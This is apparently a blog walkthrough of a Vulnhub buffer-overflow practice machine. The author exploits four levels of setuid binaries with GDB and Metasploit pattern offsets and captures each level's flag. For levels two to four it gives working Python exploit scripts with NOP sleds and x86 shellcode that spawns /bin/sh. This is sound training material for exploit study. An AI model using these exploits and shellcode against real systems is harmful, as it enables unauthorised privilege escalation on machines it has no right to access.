A funny machine to practice Buffer Overflow… Downloaded from Vulnhub.

Hi hi hi.. Funny.. it’s a Kali box!!!!

So let’s start….

Level 1:

after login in I found an exe and its source

In the source code I found:
if(key == 0x42424242) {
execve(“/bin/sh”, 0, 0);

42 is B in HEX…

So trying to input some Bs:

level0@kali:~$ ./levelOne $(python -c “print ‘B’*34”)
Buf is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Key is: 0x12004242
Sorry try again…
level0@kali:~$ ./levelOne $(python -c “print ‘B’*35”)
Buf is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Key is: 0x00424242
Sorry try again…
level0@kali:~$ ./levelOne $(python -c “print ‘B’*36”)
Buf is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Key is: 0x42424242
$ id
uid=1001(level1) gid=1000(level0) groups=1000(level0)

LEVEL2:

$ alias ll=”ls -al”
$ ll
total 56
drwx—— 2 level1 level1 4096 Jun 16 12:14 .
drwxr-xr-x 8 root root 4096 Jun 8 10:16 ..
-rw-r–r– 1 level1 level1 220 Feb 22 12:13 .bash_logout
-rw-r–r– 1 level1 level1 3391 Feb 22 12:13 .bashrc
-rw-r–r– 1 level1 level1 3526 Feb 22 12:13 .bashrc.original
-rw-r–r– 1 level1 level1 51 Feb 25 13:39 .gdbinit
-rw-r–r– 1 level1 level1 807 Feb 22 12:13 .profile
-rw——- 1 level1 level1 979 Feb 22 12:42 .viminfo
-rw-r–r– 1 level1 level1 161 Feb 22 12:17 .vimrc
-r–r—– 1 level1 level1 33 Feb 22 12:16 level1.txt
-rwsr-sr-x 1 level2 level2 15688 Jun 8 13:43 levelTwo
$ cat level1.txt
a1e7076bbd600f4dccbc38aabcb12897

The software LvelTwo take arguments:

$ bash
level1@kali:/home/level1$ ./levelTwo aaa
Hello aaa

And crashes at 32:

level1@kali:/home/level1$ ./levelTwo $(python -c “print ‘B’*32”)
Hello BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Segmentation fault

let’s find where it’s crashing then:

./pattern_create.rb -l 100

root@kali:~/boxes/stackoverflows# gdb levelTwo
GNU gdb (Debian 8.2.1-2+b1) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type “show copying” and “show warranty” for details.
This GDB was configured as “x86_64-linux-gnu”.
Type “show configuration” for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type “help”.
Type “apropos word” to search for commands related to “word”…
Reading symbols from levelTwo…(no debugging symbols found)…done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /root/boxes/stackoverflows/levelTwo Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Hello Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x41326241 in ?? ()

(gdb) info frame
Stack level 0, frame at 0xffffdd34:
eip = 0x41326241; saved eip = 0x62413362
called by frame at 0xffffdd38
Arglist at 0xffffdd2c, args:
Locals at 0xffffdd2c, Previous frame’s sp is 0xffffdd34
Saved registers:
eip at 0xffffdd30

/usr/bin/msf-pattern_offset -q 41326241
[*] Exact match at offset 36

Exploit:

level1@kali:/home/level1$ cat test.py
import struct
pad = “\x41” *36
EIP = struct.pack(“I”,0xffffdd34)
shellcode = “\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”
NOP = “\x90” * 1000
print pad + EIP + NOP + shellcode

level1@kali:/home/level1$ ./levelTwo $(python test.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��1�1۰̀Sh/ttyh/dev��1�f�’�̀1�Ph//shh/bin��PS�ᙰ

$ id
uid=1002(level2) gid=1000(level0) groups=1000(level0)

cat level2.txt
c1a0794b6b8e4ad053e0263cfce223a4

LEVEL 3:

level2@kali:/home/level2$ ll
total 56
drwx—— 2 level2 level2 4096 Jun 16 12:15 .
drwxr-xr-x 8 root root 4096 Jun 8 10:16 ..
-rw-r–r– 1 level2 level2 220 Feb 22 12:13 .bash_logout
-rw-r–r– 1 level2 level2 3391 Feb 22 12:13 .bashrc
-rw-r–r– 1 level2 level2 3526 Feb 22 12:13 .bashrc.original
-rw-r–r– 1 level2 level2 29 Feb 22 12:18 .gdbinit
-rw-r–r– 1 level2 level2 807 Feb 22 12:13 .profile
-rw——- 1 level2 level2 895 Feb 22 12:48 .viminfo
-rw-r–r– 1 level2 level2 161 Feb 22 12:18 .vimrc
-r–r—– 1 level2 level2 33 Feb 22 12:18 level2.txt
-rwsr-sr-x 1 level3 level3 15596 Jun 8 13:44 levelThree

level2@kali:/home/level2$ file levelThree
levelThree: setuid, setgid ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a53242578c17f973d1f37148b2cb2251c2103f6, not stripped

./levelThree $(python -c “print ‘B’*1000”)
Buf: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Segmentation fault

level2@kali:/home/level2$ /usr/bin/msf-pattern_create -l 1000
Rails Error: Unable to access log file. Please ensure that /home/level0/.msf4/logs/production.log exists and is writable (ie, make it writable for user and group: chmod 0664 /home/level0/.msf4/logs/production.log). The log level has been raised to WARN and the output directed to STDERR until the problem is fixed.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Then run in GDB:
level2@kali:/home/level2$ gdb -q levelThree
Reading symbols from levelThree…(no debugging symbols found)…done.
warning: File “/home/level2/.gdbinit” auto-loading has been declined by your `auto-load safe-path’ set to “$debugdir:$datadir/auto-load”.
To enable execution of this file add
add-auto-load-safe-path /home/level2/.gdbinit
line to your configuration file “$HOME/.gdbinit”.
To completely disable this security protection add
set auto-load safe-path /
line to your configuration file “$HOME/.gdbinit”.
For more information about this security protection see the
“Auto-loading safe path” section in the GDB manual. E.g., run from the shell:
info “(gdb)Auto-loading safe path”
<3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Starting program: /home/level2/levelThree Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Buf: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
(gdb) info frame
Stack level 0, frame at 0xffffd9b4:
eip = 0x6a413969; saved eip = 0x316a4130
called by frame at 0xffffd9b8
Arglist at 0xffffd9ac, args:
Locals at 0xffffd9ac, Previous frame’s sp is 0xffffd9b4
Saved registers:
eip at 0xffffd9b0

level2@kali:/home/level2$ /usr/bin/msf-pattern_offset -q 6a413969
Rails Error: Unable to access log file. Please ensure that /home/level0/.msf4/logs/production.log exists and is writable (ie, make it writable for user and group: chmod 0664 /home/level0/.msf4/logs/production.log). The log level has been raised to WARN and the output directed to STDERR until the problem is fixed.
[*] Exact match at offset 268

Creating exploit:

import struct
pad = “\x41” *268
EIP = struct.pack(“I”,0xffffd9b4)
shellcode = “\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”
NOP = “\x90” * 1000
print pad + EIP + NOP + shellcode

level2@kali:/home/level2$ ./levelThree $(python test.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��1�1۰̀Sh/ttyh/dev��1�f�’�̀1�Ph//shh/bin��PS�ᙰ

$ id
uid=1003(level3) gid=1000(level0) groups=1000(level0)

cat level3.txt
c303c0eaeb5f1afcc300a5cecf541083

LEVEL4:

./levelFour ss
Buf: ss

./levelFour $(python -c “print ‘B’*1000”)
Buf: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Segmentation fault

In GDB:

Program received signal SIGSEGV, Segmentation fault.
0x62413961 in ?? ()

(gdb) info frame
Stack level 0, frame at 0xffffd9b4:
eip = 0x62413961; saved eip = 0x31624130
called by frame at 0xffffd9b8
Arglist at 0xffffd9ac, args:
Locals at 0xffffd9ac, Previous frame’s sp is 0xffffd9b4
Saved registers:
eip at 0xffffd9b0

level3@kali:/home/level3$ /usr/bin/msf-pattern_offset -q 62413961
Rails Error: Unable to access log file. Please ensure that /home/level0/.msf4/logs/production.log exists and is writable (ie, make it writable for user and group: chmod 0664 /home/level0/.msf4/logs/production.log). The log level has been raised to WARN and the output directed to STDERR until the problem is fixed.
[*] Exact match at offset 28

Creating exploit:

import struct
pad = “\x41” *28
EIP = struct.pack(“I”,0xffffd9b4)
shellcode = “\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”
NOP = “\x90” * 1000
print pad + EIP + NOP + shellcode

level3@kali:/home/level3$ ./levelFour $(python test.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAA��1�1۰̀Sh/ttyh/dev��1�f�’�̀1�Ph//shh/bin��PS�ᙰ

$ id
uid=1004(level4) gid=1000(level0) groups=1000(level0)

cat level4.txt
f633cbb8f6a7ca2e0ac216b1dc2ad57a

Still having issue with the last level…. update to follow!

Stack Overflow

Level 1:

LEVEL2:

LEVEL 3:

LEVEL4:

Leave a Reply Cancel reply